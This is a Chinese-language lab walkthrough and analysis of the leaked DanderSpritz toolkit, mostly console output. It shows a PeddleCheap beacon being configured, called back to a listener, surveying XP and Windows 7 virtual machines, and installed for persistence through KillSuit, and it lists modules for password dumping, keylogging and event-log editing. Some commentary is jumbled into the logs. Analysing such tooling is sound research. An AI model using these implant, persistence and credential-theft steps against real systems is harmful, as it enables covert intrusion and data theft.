(x64-winnt Level4 exe) - 26) - HTTP Proxy (x64-winnt Level4 exe) Pick the payload type 1 Update advanced settings NO Perform IMMEDIATE CALLBACK? YES 查看一下生成的文件。 Enter the PC ID [0] 0 Do you want to LISTEN? YES Change LISTEN PORTS? YES Enter listening port (0=no more ports) 3005 Enter listening port (0=no more ports) 0 Enter the callback address (127.0.0.1 = no callback) [127.0.0.1] 127.0.0.1 Change exe name in version information? NO - Pick a key - 0) Exit - 1) Create a new key - 2) Default Enter the desired option 2 Command completed successfully - Configuration: - - <?xml version='1.0' encoding='UTF-8' ?> - <PCConfig> - <Flags> - <PCHEAP_CONFIG_FLAG_CALLBACK_NOW/> - <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/> - </Flags> - <Id>0x0</Id> - <ListenPorts> - <BindPort>3005</BindPort> - </ListenPorts> - <CallbackAddress>172.19.2.1</CallbackAddress> - </PCConfig> - Is this configuration valid YES Do you want to configure with FC? NO - Configured binary at: - D:\Logs\fb\z0.0.0.1\Payloads\PeddleCheap_2022_04_04_03h16m55s.945/PC_Level3_e xe.configured 01:28:03>> 从上面的过程可以看出,根据配置信息,修改PC_Level3_dll.base,最后生成 PC_Level3_dll.configured. payload的生成木有特别的地方,与Cobalt Strike基本一致。 生成的Payload,如何回连?也就是C2 Server是如何管理这些Beacon? 这些Beacon支持x86和x64,支持dll和exe,支持tcp,http。这些条件进行组合,最后生成一个 Beacon. 后来找到三好学生的文章,弄清楚了操作流程,与CS基本一致。 比较有特点是level3是反向连接,level4是正向连接。 启动监听程序 在PaddleCheap的页面,设置参数,启动Server,注意参数要和前面的Beacon配置保存一致, 才能上线客户端。 2022/04/04 11:18 938 config.final.xml 2022/04/04 11:18 398 config.xml 2022/04/04 11:18 <DIR> Keys 2022/04/04 11:18 692 payload_info.xml 2022/04/04 11:18 73,216 PC_Level3.exe 2022/04/04 11:16 73,216 PC_Level3_exe.base 2022/04/04 11:18 73,216 PC_Level3_exe.configured 设置参数后,点击Start Listening,在Terminals的终端上,会显示如下信息。 [07:28:22] ID: 1 'script' started [target: z0.0.0.1] Loading module 154 (addr=z0.0.0.1 | type=dsz | file=Script_Lp.dll) Module loaded - -------------------------------------------------- - Getting remote time - RETRIEVED Running command 'version' Compiled : Listening Post : 1.3.0 Implant : 1.3.0 Base : DSZ 1.3.0 (1.3.0.0) - -------------------------------------------------- - Performing setup for i386-winnt on z0.0.0.1 - -------------------------------------------------- - DISABLED - Authentication (LOCAL) - DISABLED - DuplicateToken (LOCAL) - DISABLED - Authentication (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - Oracle (LOCAL) - DISABLED - AppCompat (LOCAL) - DISABLED - InjectDll (LOCAL) - DISABLED - Pc_Status (LOCAL) - DISABLED - InjectDll (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - Flav_Control (LOCAL) - DISABLED - kisu_install (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - kisu_survey (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - kisu_uninstall (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - kisu_upgrade (CURRENT) "32-bit binary on 64-bit OS" - DISABLED - Break (LOCAL) - DISABLED - Psp_Avoidance (LOCAL) "32-bit binary on 64-bit OS" - DISABLED - QuitAndDelete (LOCAL) - DISABLED - Audit (LOCAL) - DISABLED - EventLogEdit (LOCAL) - DISABLED - GetAdmin (LOCAL) - DISABLED - Handles (LOCAL) - DISABLED - Hide (LOCAL) - DISABLED - Papercut (LOCAL) - DISABLED - PasswordDump (LOCAL) - DISABLED - Portmap (LOCAL) - DISABLED - ProcessModify (LOCAL) - DISABLED - ProcessOptions (LOCAL) - DISABLED - RunAsChild (LOCAL) - DISABLED - RunAsSystem (LOCAL) - DISABLED - Shutdown (LOCAL) - -------------------------------------------------- - Registering Mcl_NtElevation options - SUCCESS - Registering Mcl_NtNativeApi options - SUCCESS - Setting Mcl_NtNativeApi Type - WIN32 - Registering Mcl_NtMemory options - SUCCESS - Setting Mcl_NtMemory Type - DrNi - Registering Mcl_ThreadInject options - SUCCESS - Setting Mcl_ThreadInject Type - DrNi - Getting host information - RETRIEVED - Getting OS GUID information - RETRIEVED - Storing host information - STORED - DISABLED - Authentication (LOCAL) Unable to get target DB for unknown target - -------------------------------------------------- 执行Beacon 然后将Beacon拷贝的目标机上,执行后,服务端就会收到上线信息。 - Registering global wrappers - -------------------------------------------------- - hide - Windows kernel 6.0+ PatchGuard protection - packetredirect - Trigger failure alerter - -------------------------------------------------- - Added Ops library to Python search path. - Local CP address is z0.0.0.1. - Setting environment variable OPS_PROJECTNAME to 'fb' - Disk version already logged; if you switched disks for some reason, rename D:\Logs\fb\disk-version.txt and restart the LP please. [08:28:55] ID: 134 'pc_listen' started [target: z0.0.0.1] Loading module 158 (addr=z0.0.0.1 | type=dsz | file=PeddleCheap_Lp.dll) Module loaded Waiting for connection... Setting Sockopt Listening on [0.0.0.0]:3005. Connection received from [172.19.2.1]:45884 to [172.19.2.1]:3005... Connection accepted Starting session... PC LP Version: 2.3.0 LP...ready to send the MAGIC NUMBER Sending additional 330 bytes of random LP ...ready to receive the symmetric key LP...ready to decrypt the key Remote Information PC Version : 2.3.0 PC Id : 0x0000000000000000 Arch-Os : i386-winnt (compiled i386-winnt) Session Key : c6 84 d9 c2 e0 c9 87 03 4e 95 48 f0 ae 89 a0 e7 Getting remote OS information Remote OS Arch : i386 Compiled Arch : i386 Platform : winnt Compiled Platform : winnt Version : 5.1 (Windows XP) Service Pack : 3 C Lib Version : 6.0.0 Sending OS version check status to remote side (4 bytes) Data (OS version check status) has been sent Data (OS version check status) has been received and stored by remote side Ready to send implant Successfully loaded LP DLLs Payload File Name : D:\work\malware\bvp47\fuzzbunch\Resources\Pc\/../Dsz/Payloads/Files/i386- winnt-vc9s/release/Dsz_Implant_Pc.dll Send payload : true Original Size : 248832 Send Size : 137488 Checksum : c745 Name : Path : Export : #1 Sending PayloadInfo run type information Sending File/Library info to remote side (36 bytes) Data (File/Library info) has been sent Data (File/Library info) has been received and stored by remote side Sending Export name to remote side (3 bytes) Data (Export name) has been sent Data (Export name) has been received and stored by remote side Sending Payload to remote side (137488 bytes) Data (Payload) has been sent Data (Payload) has been received and stored by remote side ... Receiving Acknowledgements Received successful status message for Dll/Exe loaded Received successful status message for About to run payload Received successful status message for Exit This Message Loop Setting remote address to z0.0.0.12 Remote Address : z0.0.0.12 Architecture : i386 Compiled Architecture : i386 Platform : winnt Version : 5.1.3 (build 2600) C Library Version : 6.0.0 Process Id : 1740 Type : Dsz Metadata : type=PC local=172.19.2.1:3005 remote=172.19.2.1:45884 - Remote host is i386-winnt (5.1.3) - -------------------------------------------------- - Performing setup for i386-winnt on z0.0.0.12 - -------------------------------------------------- - PROMPTED - Shutdown (CURRENT) - Registering Mcl_NtElevation options - SUCCESS - Setting Mcl_NtElevation Type - EpMo_GrSa - Registering Mcl_NtNativeApi options - SUCCESS - Setting Mcl_NtNativeApi Type - WIN32 - Registering Mcl_NtMemory options - SUCCESS - Setting Mcl_NtMemory Type - Std - Registering Mcl_ThreadInject options - SUCCESS - Setting Mcl_ThreadInject Type - Std Unable to get target DB for unknown target Able to load audit plugin, NT_ELEVATION loaded correctly, moving on - -------------------------------------------------- - Getting remote time - RETRIEVED - Getting host information - RETRIEVED - Getting OS GUID information - RETRIEVED - Storing host information - STORED - User is ADMINISTRATOR - -------------------------------------------------- Running command 'python Connected/Connected.py -project Ops' Unable to get target DB for unknown target - -------------------------------------------------- - Re-registering global wrappers for current target - -------------------------------------------------- - hide - Windows kernel 6.0+ PatchGuard protection - packetredirect - Trigger failure alerter - -------------------------------------------------- - [2022-04-06 16:35:17 z0.0.0.12] Target ID completed, ID 34002033-11fd-4301- b596-761ba9c3f87a (in project fb) ==================================================================== - [2022-04-06 16:35:17 z0.0.0.12] Showing ifconfig data so you can make sure you are on the correct target FQDN: winxp DNS Servers: 10.33.176.66, 10.33.176.67 - [2022-04-06 16:35:18 z0.0.0.12] Showing all non-local and non-tunnel encapsulation adapter information, see command 208 for full interface list | Description | MAC | IP | Netmask | Gateway | DHCP Server | Name | +--------------------------------------------------+-------------------+----- ------+---------------+----------+-------------+----------------------------- --------------+ | Intel(R) PRO/1000 T Server Adapter - 数据包计划程序微型端口 | 08-00-27-A8-DF- 7E | 10.0.2.15 | 255.255.255.0 | 10.0.2.2 | 10.0.2.2 | ({369B3053-A2C0- 4911-A1B1-C7BF8FAA40BE}) | Running command 'survey -run D:\work\malware\bvp47\fuzzbunch\Resources\Ops\Data\survey.xml -sections env- setup -quiet' Running command 'systemversion ' Architecture : i386 OS Family : winnt Version : 5.1 (Build 2600) Platform : Windows XP Service Pack : 3.0 Extra Info : Service Pack 3 Product Type : Workstation / Professional Terminal Services is installed, but only one interactive session is supported. Command completed successfully - [2022-04-06 16:35:19 z0.0.0.12] Loaded safety handlers from previous op(s) Command completed successfully Running command 'survey -run' - [2022-04-06 16:35:20 z0.0.0.12] ================================== Process list ================================================================== - [2022-04-06 16:35:21 z0.0.0.12] Data age: 00 seconds - data is fresh - | PID | PPID | Full Path | User | Comment | - +------+------+-------------------------------------------------+---------- -----------+------------------------------------------------------------+ - | 0 | 0 | | | | - | 4 | 0 | System | NT AUTHORITY\SYSTEM | System Kernel | - | 396 | 4 | ---\SystemRoot\System32\smss.exe | NT AUTHORITY\SYSTEM | Session Manager Subsystem | - | 616 | 396 | ------csrss.exe | | Client-Server Runtime Server Subsystem | - | 640 | 396 | ------C:\WINDOWS\system32\winlogon.exe | NT AUTHORITY\SYSTEM | Microsoft Windows Logon Process | - | 684 | 640 | ---------C:\WINDOWS\system32\services.exe | NT AUTHORITY\SYSTEM | Windows Service Controller | - | 852 | 684 | ------------C:\WINDOWS\System32\VBoxService.exe | NT AUTHORITY\SYSTEM | | - | 900 | 684 | ------------C:\WINDOWS\system32\svchost.exe | NT AUTHORITY\SYSTEM | Microsoft Service Host Process (Check path in processdeep) | - | 992 | 684 | ------------svchost.exe | | Microsoft Service Host Process (Check path in processdeep) | - | 1084 | 684 | ------------C:\WINDOWS\System32\svchost.exe | NT AUTHORITY\SYSTEM | Microsoft Service Host Process (Check path in processdeep) | - | 1296 | 1084 | ---------------C:\WINDOWS\system32\wscntfy.exe | WINXP\hacker | Microsoft Windows Security Center | - | 540 | 1084 | ---------------C:\WINDOWS\system32\wuauclt.exe | WINXP\hacker | Microsoft Windows Update | - | 1144 | 684 | ------------svchost.exe | | Microsoft Service Host Process (Check path in processdeep) | - | 1284 | 684 | ------------svchost.exe | | Microsoft Service Host Process (Check path in processdeep) | - | 1532 | 684 | ------------C:\WINDOWS\system32\spoolsv.exe | NT AUTHORITY\SYSTEM | Microsoft Printer Spooler Service | - | 1212 | 684 | ------------alg.exe | | Application Layer Gateway Service | - | 696 | 640 | ---------C:\WINDOWS\system32\lsass.exe | NT AUTHORITY\SYSTEM | Local Security Authority Server Subsystem | - | 1656 | 1632 | C:\WINDOWS\Explorer.EXE | WINXP\hacker | Windows Explorer Shell | - | 1760 | 1656 | ---C:\WINDOWS\system32\VBoxTray.exe | WINXP\hacker | | - | 1768 | 1656 | ---C:\WINDOWS\system32\ctfmon.exe | WINXP\hacker | Microsoft Office XP - Alternative User Input Service | - | 1952 | 1656 | ---C:\WINDOWS\system32\cmd.exe | WINXP\hacker | +++ Windows Command Prompt +++ | - | 1056 | 1952 | ------C:\WINDOWS\system32\conime.exe | WINXP\hacker | Microsoft Console IME (multilanguage input) | - | 1740 | 1952 | ------C:\test\PC_Level3.exe | WINXP\hacker | | - | 420 | 1656 | ---C:\WINDOWS\system32\taskmgr.exe | WINXP\hacker | +++ Windows Task Manager +++ | background python monitorwrap.py -args "-g -t OPS_PROCESS_MONITOR_TAG -i 5 -s \"processes -monitor \" " - [2022-04-06 16:35:22 z0.0.0.12] ===================================== Uptime ===================================================================== Uptime: 0 days, 6:57:30 - [2022-04-06 16:35:23 z0.0.0.12] ================== Auditing status check, dorking will be later ================================================== - [2022-04-06 16:35:23 z0.0.0.12] 1 safety handler registered for audit - [2022-04-06 16:35:23 z0.0.0.12] Data age: 00 seconds - data is fresh - [2022-04-06 16:35:24 z0.0.0.12] Auditing is not enabled on this machine - [2022-04-06 16:35:24 z0.0.0.12] The above is only being shown for informational purposes, you will be prompted about dorking later - [2022-04-06 16:35:24 z0.0.0.12] =================================== Driver list =================================================================== Running command 'python D:\work\malware\bvp47\fuzzbunch\Resources\Ops\PyScripts\driverlist.py - project Ops -args "-nofreshscan"' - [2022-04-06 16:35:25 z0.0.0.12] 1 safety handler registered for drivers - | Driver | Path | Flags | Comment | Type | First Seen | Also On | - +-----------------+-----------------------------+-------------------------- +----------------------------------------------------+---------+------------ +---------+ - | dump_atapi.sys | C:\WINDOWS\system32\drivers | NEW,RANDOM,NO_HASH | !!! POSSIBLE driver mem dump !!! | WARNING | 2022-04-06 | | - | dump_wmilib.sys | C:\WINDOWS\system32\drivers | NEW,RANDOM,NO_HASH | !!! POSSIBLE driver mem dump !!! | WARNING | 2022-04-06 | | - | vboxdisp.dll | C:\WINDOWS\system32 | NEW,UNIDENTIFIED,NO_HASH | | | 2022-04-06 | | - | vboxguest.sys | | NAME_MATCH,NEW | Oracle VM VirtualBox Guest Additions Driver | NORMAL | 2022-04-06 | | - | vboxmouse.sys | C:\WINDOWS\system32\drivers | NAME_MATCH,NEW | Oracle VM VirtualBox Mouse Filter Driver | NORMAL | 2022-04-06 | | - | vboxsf.sys | C:\WINDOWS\system32\drivers | NAME_MATCH,NEW | Oracle VM VirtualBox Shared Folders Minirdr Driver | NORMAL | 2022-04-06 | | - | vboxvideo.sys | C:\WINDOWS\system32\drivers | NAME_MATCH,NEW | Oracle VM VirtualBox Video Driver | NORMAL | 2022-04-06 | | Command completed successfully - [2022-04-06 16:35:31 z0.0.0.12] =============================== Installed software =============================================================== - --------------------------------------------------------------- Installer Packages --------------------------------------------------------------- - [2022-04-06 16:35:31 z0.0.0.12] Data age: 00 seconds - data is fresh | Arcitecture | Name | Description | Installed version | Date installed | +-------------+---------------------------------------------+---------------- -------+-------------------+----------------+ | 32-bit | Oracle VM VirtualBox Guest Additions 6.1.18 | Oracle Corporation | 6.1.18.0 | | | 32-bit | WebFldrs XP | Microsoft Corporation | 9.50.7523 | 2022-04-04 | - ----------------------------------------------------------------- Software key(s) ----------------------------------------------------------------- - [2022-04-06 16:35:32 z0.0.0.12] Data age: 00 seconds - data is fresh | Architecture | Name | Last update | +--------------+------------------------------+-------------+ | 32-bit | C07ft5Y | 2022-04-04 | | 32-bit | Classes | 2022-04-06 | | 32-bit | Clients | 2022-04-04 | | 32-bit | Gemplus | 2022-04-04 | | 32-bit | Microsoft | 2022-04-06 | | 32-bit | ODBC | 2022-04-04 | | 32-bit | Oracle | 2022-04-04 | | 32-bit | Policies | 2022-04-04 | | 32-bit | Program Groups | 2022-04-04 | | 32-bit | Schlumberger | 2022-04-04 | | 32-bit | Secure | 2022-04-04 | | 32-bit | Windows 3.1 Migration Status | 2022-04-04 | - -------------------------------------------------------------- Program files dir(s) -------------------------------------------------------------- - [2022-04-06 16:35:34 z0.0.0.12] Data age: 00 seconds - data is fresh | Architecture | Folder Name | Modified | +--------------+-----------------------+-------------------------------+ | 32-bit | Common Files | 2022-04-04T04:32:32.948260800 | | 32-bit | ComPlus Applications | 2022-04-04T04:32:10.686249600 | | 32-bit | Internet Explorer | 2022-04-04T04:32:31.926792000 | | 32-bit | Messenger | 2022-04-04T04:32:06.470187200 | | 32-bit | microsoft frontpage | 2022-04-04T04:33:32.513912000 | | 32-bit | Movie Maker | 2022-04-04T04:32:30.384574400 | | 32-bit | MSN Gaming Zone | 2022-04-04T04:32:05.308516800 | | 32-bit | NetMeeting | 2022-04-04T04:32:33.108491200 | | 32-bit | Online Services | 2022-04-04T04:32:41.009852800 | | 32-bit | Oracle | 2022-04-04T04:59:51.170184000 | | 32-bit | Outlook Express | 2022-04-04T04:32:32.277296000 | | 32-bit | Uninstall Information | 2022-04-04T04:38:50.927286400 | | 32-bit | Windows Media Player | 2022-04-04T04:33:21.478043200 | | 32-bit | Windows NT | 2022-04-04T04:32:01.813491200 | | 32-bit | WindowsUpdate | 2022-04-04T04:32:41.921163200 | | 32-bit | xerox | 2022-04-04T04:33:32.543955200 | - [2022-04-06 16:35:34 z0.0.0.12] ================================ Running services ================================================================ - [2022-04-06 16:35:35 z0.0.0.12] Data age: 00 seconds - data is fresh | Display name | Service name | +----------------------------------------------------+----------------------- ---------+ | Application Layer Gateway Service | ALG | | Windows Audio | AudioSrv | | Computer Browser | Browser | | Cryptographic Services | CryptSvc | | DCOM Server Process Launcher | DcomLaunch | | DHCP Client | Dhcp | | Logical Disk Manager | dmserver | | DNS Client | Dnscache | | Error Reporting Service | ERSvc | | Event Log | Eventlog | | COM+ Event System | EventSystem | | Fast User Switching Compatibility | FastUserSwitchingCompatibility | | Help and Support | helpsvc | | Server | LanmanServer | | Workstation | lanmanworkstation | | TCP/IP NetBIOS Helper | LmHosts | | Network Connections | Netman | | Network Location Awareness (NLA) | Nla | | Plug and Play | PlugPlay | | IPSEC Services | PolicyAgent | | Protected Storage | ProtectedStorage | | Remote Registry | RemoteRegistry | | Remote Procedure Call (RPC) | RpcSs | | Security Accounts Manager | SamSs | | Task Scheduler | Schedule | | Secondary Logon | seclogon | | System Event Notification | SENS | | Windows Firewall/Internet Connection Sharing (ICS) | SharedAccess | | Shell Hardware Detection | ShellHWDetection | | Print Spooler | Spooler | | System Restore Service | srservice | | SSDP Discovery Service | SSDPSRV | | Terminal Services | TermService | | Themes | Themes | | Distributed Link Tracking Client | TrkWks 客户端一上线,先进行密钥协商,然后发送Dsz_Implant_Pc.dll,最后执行servey,任务列表见 survey.xml。 | | VirtualBox Guest Additions Service | VBoxService | | Windows Time | W32Time | | WebClient | WebClient | | Windows Management Instrumentation | winmgmt | | Security Center | wscsvc | | Automatic Updates | wuauserv | | Wireless Zero Configuration | WZCSVC | z0.0.0.12: [2022-04-06 16:35:35] Hashhunter completed on winxp! - [2022-04-06 16:35:36 z0.0.0.12] =================================== AV Check!!! =================================================================== Running command 'python windows\checkpsp.py -project Ops ' - Checking for any running known PSP's... - - Checking for target PSP history... - No target history found. - I don't see any known PSP's running. - Checking for a change in configuration Command completed successfully - [2022-04-06 16:35:37 z0.0.0.12] ================================ Auditing dorking ================================================================ - [2022-04-06 16:35:37 z0.0.0.12] Data age: 13 seconds (from local cache, re- run manually if you need to) - [2022-04-06 16:35:37 z0.0.0.12] Auditing is not enabled on this machine - [2022-04-06 16:35:37 z0.0.0.12] Auditing is already off, no need to dork - [2022-04-06 16:35:38 z0.0.0.12] ==================================== Monitors ==================================================================== Monitors 根据提示信息Dsz_Implant_Pc.dll木有直接传输整个文件,而是传输了Sending Payload to remote side 137488 bytes)。不知道是压缩的效果,还是其它原 因。 上面就是最简单的Beacon上线流程。亮点在于python脚本支持下的任务列表。 根据johnbergbom的分析PeddleCheap,也是RSA的密钥协商,在协商过程中传输了公钥。 模块列表 在System页面的About下,可以看到加载的模块列表。 DeMi 2.1.1 2.1.1.0 DmGz 2.1.3 2.1.3.0 DSky 3.0.1 3.0.1.0 DSZ 1.3.0 Patch 1 1.3.0.0 DSZ 1.3.0 Patch 2 1.3.0.0 DSZ 1.3.0 Patch 3 1.3.0.0 DSZ 1.3.0 1.3.0.0 ExpandingPulley_base-win323.2.2.1 3.2.null.2 ExpandingPulley_plugins-win323.2.2.1 3.2.null.2 FlAv 3.2.0.3 3.2.0.3 PaperCut 2.1.0.5 2.1.0.5 PC 2.3.0 Patch 1 2.3.0.0 PC 2.3.0 Patch 2 2.3.0.0 PeddleCheap 2.3.0 2.3.0.0 Pc 2.2.0 Patch 1 2.2.0.0 Pc 2.2.0 Patch 2 2.2.0.0 Pc 2.2.0 Patch 3 2.2.0.0 PeddleCheap 2.2.0.2 2.2.0.2 PassFreely 3.3.1.1 3.3.1.1 ScRe 2.0.2 2.0.2.1 DszTasking 2.2.1.1 2.2.1.1 DeMi 2.1.1 2.1.1.0 UtBu 1.0.2 1.0.2.0 ZBng 3.4.0 3.4.0.0 Java Runtime 1.8.0_41 代码涉及的模块比较多,为了方便后续的分析,先根据文件夹名称整理一个表格,方便记忆。 短名 代码名 说明 DSky Darkskyline 抓包工具 DaPu DarkPulsar PeddleCheap的前任 DeMI DecibelMinute KillSuit管理器 Df DoubleFeature 报表生成器 DmGZ DoormanGauze 内核网络驱动,绕过系统TCP堆栈(与dewdrop的bspfilter是不是一 途?) Dsz DanderSpritz DanderSpritz的相关文件 Ep ExpandingPulley DanderSpritz的前任 FlAv FlewAvenue DoormanGauze相关 (based on FlAv/scripts/_FlewAvenue.txt) GRDO GreaterDoctor GreaterSurgeon的数据分析 (based on GRDO/Tools/i386/GreaterSurgeon_postProcess.py & analyzeM GROK ?? 键盘记录器(based on Ops/PyScripts/overseer/plugins/keylogge GRcl ?? 进程内存dump(based on GRcl/Commands/CommandLine/ProcessMemory_Command.xm GaTh GangsterTheif 持久化数据分析 (based on GaTh/Commands/CommandLine/GrDo_ProcessScanner_Comm GeZU GreaterSurgeon 内存Dump (based on GeZu/Commands/CommandLine/GeZu_KernelMemory_Comma Pfree Passfreely Oracle 认证绕过 PaCU PaperCut 操作其它进程文件句柄 Pc PeddleCheap 监听程序,与Beacon进行交互 ScRe ?? SQL查询 (based on ScRe/Commands/CommandLine/Sql_Command.xml) StLa Strangeland 键盘记录器(based on StLa/Tools/i386-winnt/strangeland.xsl) 短名 代码名 说明 TeDi TerritorialDispute 检查是否可以持久化 (based on TeDi/PyScripts/sigs.py) Utbu UtilityBurst 安装驱动模块(based on UtBu/Scripts/Include/_UtilityBurstFunct ZBng ZippyBang NSA版本的Mimikatz. (based on files in ZBng/Commands/CommandLine) DanderSpritz GUI 在命令行界面,这里需要Python 2.7的版本,才能正常工作,执行下面的命令,就启动了管理客 户端,同时也启动了C2的服务端。 或者直接运行Jar文件。 在GUI的Terminal界面内,有一个Python的终端,可以执行pc_prep,或者pc2.2_prep,就可以 生成Beacon。 然后启动PeddleCheap下的监听程序,就可以接收Beacon的反向连接。 在Terminals终端里面,看看有哪些命令。 python start_lp.py java -jar start.jar help [00:59:42] ID: 472 'help' started [target: z0.0.0.12] Prefixes: async background disablewow64 foreground guiflag local log src stopaliasing task dst user wait xml nocharescapes framework disablepre disablepost Commands: activedirectory activity addresses aliases appcompat appcompat_uninstall arp audit authentication available banner break cd commands copy cprpc currentusers database delete devicequery dir diskspace dllload dmgz_control dns domaincontroller drivers drives duplicatetoken environment eventlogclear eventlogedit eventlogfilter eventlogquery fileattributes filetype firewall flav_control freeplugin frzaddress frzlinks frzroutes frzsecassocs frztimeouts gangsterthief generatedata get getadmin gezu_kernelmemory grdo_filescanner grdo_processscanner grep groups gui handles help hide ifconfig injectdll keepalive kill kisu_addmodule kisu_config kisu_connect kisu_deletemodule kisu_disconnect kisu_freedriver kisu_freemodule kisu_fulllist kisu_install kisu_list kisu_loaddriver kisu_loadmodule kisu_processload kisu_readmodule kisu_survey kisu_uninstall kisu_upgrade language ldap library loadplugin logedit logonasuser lpdirectory lpgetenv lpsetenv matchfiletimes memory mkdir moduletoggle move nameserverlookup netbios netconnections netmap objects oracle packages packetredirect papercut passworddump pc_connect pc_listen pc_status performance permissions ping plugins policy portmap processes processinfo processmemory processmodify processoptions processsuspend put pwd python quitanddelete redirect registryadd registrydelete registryhive registryquery remoteexecute rmdir route run runaschild 这里面的命令都是分类成组使用,下面开始分析。 KillSuit KillSuit又名GreyFish,是进行后渗透的模块。这里的操作,都是在获得一个连接的基础上进行, 比如采用DoublePlusar或者EternelBlue等漏洞完成。 kisu模块由多个命令组成。 支持多种方式的渗透系统,进行持久化,数据窃取。 scheduler script serialredirect services shares shutdown sidlookup sql stop strings systempaths systemversion throttle time traceroute trafficcapture uptime users version warn whoami windows wrappers xmlparser - Loaded commands have a '*' preceeding the command name For additional information try: help <command> Command completed successfully kisu_addmodule kisu_config kisu_connect kisu_deletemodule kisu_disconnect kisu_freedriver kisu_freemodule kisu_fulllist kisu_install kisu_list kisu_loaddriver kisu_loadmodule kisu_processload kisu_readmodule kisu_survey kisu_uninstall kisu_upgrade ![Dsz_pc_connnect_2022-04-15_08-42-04](imgs/Dsz_pc_connnect_2022-04-15_08-42- 04.png)kisu_survey [07:19:15] ID: 514 'kisu_survey' started [target: z0.0.0.11] Module 122 already loaded (addr=z0.0.0.11) - Load count 8 Module loaded Loading module 305 (addr=z0.0.0.11 | type=dsz | file=DiBa_Target.dll) Module loaded Persistence methods: 然后执行pc_install,安装到目标系统。 Type : DRIVER Compatible : true Reason : Type : SOTI Compatible : true Reason : Type : JUVI Compatible : false Reason : OS not supported by JUVI Command completed successfully 07:35:27>> kisu_install -type pc [07:35:27] ID: 517 'kisu_install' started [target: z0.0.0.11] - Installing 0x7a43e1fa KISU instance 0x7a43e1fa (PC) installed successfully Command completed successfully 07:36:53>> kisu_connect -type pc [07:36:53] ID: 519 'kisu_connect' started [target: z0.0.0.11] Loading module 316 (addr=z0.0.0.11 | type=dsz | file=KisuComms_Target.dll) Module loaded Comms established to KISU instance 0x7a43e1fa (PC) version 2.4.3.1 Command completed successfully 00:51:52>> kisu_list [00:51:52] ID: 767 'kisu_list' started [target: z0.0.0.14] Loading module 316 (addr=z0.0.0.14 | type=dsz | file=KisuComms_Target.dll) Module loaded Id Version Name ================================ 0x7a43e1fa 2.4.3.1 PC Command completed successfully 00:47:13>> pc_install [00:47:13] ID: 762 'script' started [target: z0.0.0.14] - - - Pc Install - - Current Configuration: 生成Payload,最后安装。安装成功后,就实现了持久化。 为了验证已经成功持久化,重启目标机。 目标机重启完成后,使用PC,连接目标机。记得选择Level4的第一个1167。其它木有测试。 - Load Method : AppCompat - Process Name : lsass.exe - COMMS Type : Winsock - Trigger Name : ntfltmgr - Payload : None - KiSu Connection : Not connected - - 0) Exit - - Configuration - 1) Change load method - 2) Change trigger driver name - 3) Change process name - - KiSu Connection - 4) Connect to PC's KiSu - 5) Install PC's KiSu - - Payload - 6) Prepare a new payload - 7) Pick an existing payload - - Actions - 8) Perform Install Enter the desired option 在Terminal页面,就可以看到如下连接信息。 [09:00:39] ID: 668 'pc_connect' started [target: z0.0.0.1] Connecting to [172.19.2.17]:1167 from [0.0.0.0]:48377... CONNECTED Starting session... PC LP Version: 2.3.0 LP...ready to send the MAGIC NUMBER Sending additional 252 bytes of random LP ...ready to receive the symmetric key LP...ready to decrypt the key Remote Information PC Version : 2.3.0 PC Id : 0x0000000000000000 Arch-Os : i386-winnt (compiled i386-winnt) Session Key : c0 25 84 12 d0 fb 5d eb 1b 27 92 35 e4 cf ec ee Getting remote OS information Remote OS Arch : i386 Compiled Arch : i386 Platform : winnt Compiled Platform : winnt Version : 6.1 (Windows 7) Service Pack : 0 C Lib Version : 6.0.0 Sending OS version check status to remote side (4 bytes) Data (OS version check status) has been sent Data (OS version check status) has been received and stored by remote side Ready to send implant Successfully loaded LP DLLs Payload File Name : D:\work\malware\bvp47\fuzzbunch\Resources\Pc\/../Dsz/Payloads/Files/i386- winnt-vc9s/release/Dsz_Implant_Pc.dll Send payload : true Original Size : 248832 Send Size : 137488 Checksum : c745 Name : Path : Export : #1 Sending PayloadInfo run type information Sending File/Library info to remote side (36 bytes) Data (File/Library info) has been sent Data (File/Library info) has been received and stored by remote side Sending Export name to remote side (3 bytes) Data (Export name) has been sent Data (Export name) has been received and stored by remote side Sending Payload to remote side (137488 bytes) Data (Payload) has been sent Data (Payload) has been received and stored by remote side ... Receiving Acknowledgements Received successful status message for Dll/Exe loaded Received successful status message for About to run payload Received successful status message for Exit This Message Loop Setting remote address to z0.0.0.14 Remote Address : z0.0.0.14 Architecture : i386 Compiled Architecture : i386 Platform : winnt Version : 6.1.0 (build 7600) C Library Version : 6.0.0 Process Id : 476 Type : Dsz Metadata : type=PC local=172.19.2.1:48377 remote=172.19.2.17:1167 - Remote host is i386-winnt (6.1.0) - -------------------------------------------------- - Performing setup for i386-winnt on z0.0.0.14 - -------------------------------------------------- - PROMPTED - Shutdown (CURRENT) - Registering Mcl_NtElevation options - SUCCESS - Setting Mcl_NtElevation Type - EpMe_GrSa - Registering Mcl_NtNativeApi options - SUCCESS - Setting Mcl_NtNativeApi Type - WIN32 - Registering Mcl_NtMemory options - SUCCESS - Setting Mcl_NtMemory Type - Std - Registering Mcl_ThreadInject options - SUCCESS - Setting Mcl_ThreadInject Type - Std Unable to get target DB for unknown target Able to load audit plugin, NT_ELEVATION loaded correctly, moving on - Current process options (0x4d) - DisableExceptionChainValidation - DisableThunkEmulation - ExecutionDisabled - Permanent Do you want to modify the process options? NO - DISABLED - Authentication (CURRENT) - -------------------------------------------------- - Getting remote time - RETRIEVED - Getting host information - RETRIEVED - Getting OS GUID information - RETRIEVED - Storing host information - STORED - User is SYSTEM - -------------------------------------------------- Running command 'python Connected/Connected.py -project Ops' Unable to get target DB for unknown target - -------------------------------------------------- - Re-registering global wrappers for current target - -------------------------------------------------- - hide - Windows kernel 6.0+ PatchGuard protection - packetredirect - Trigger failure alerter - -------------------------------------------------- Showing you what we know so you can make a good decision in the menu below crypto_guid: a091bbc8-f3c7-417c-9079-34bf3aa1819e hostname: hacker-PC macs: [u'08-00-27-94-5d-6d', u'08-00-27-ce-56-28'] implant_id: 0x0000000000000000 Below match threshold or multiple matches. You must choose. Choose wisely. 0) None of these - create a new target db 1) (Confidence: 0.833333333333) fb / hacker-PC / PC ID 0x0000000000000000 / a091bbc8-f3c7-417c-9079-34bf3aa1819e / MACS: ['08-00-27-94-5d-6d', '08-00-27- ce-56-28'] Enter selection: 1 - [2022-04-14 17:01:14 z0.0.0.14] Target ID completed, ID 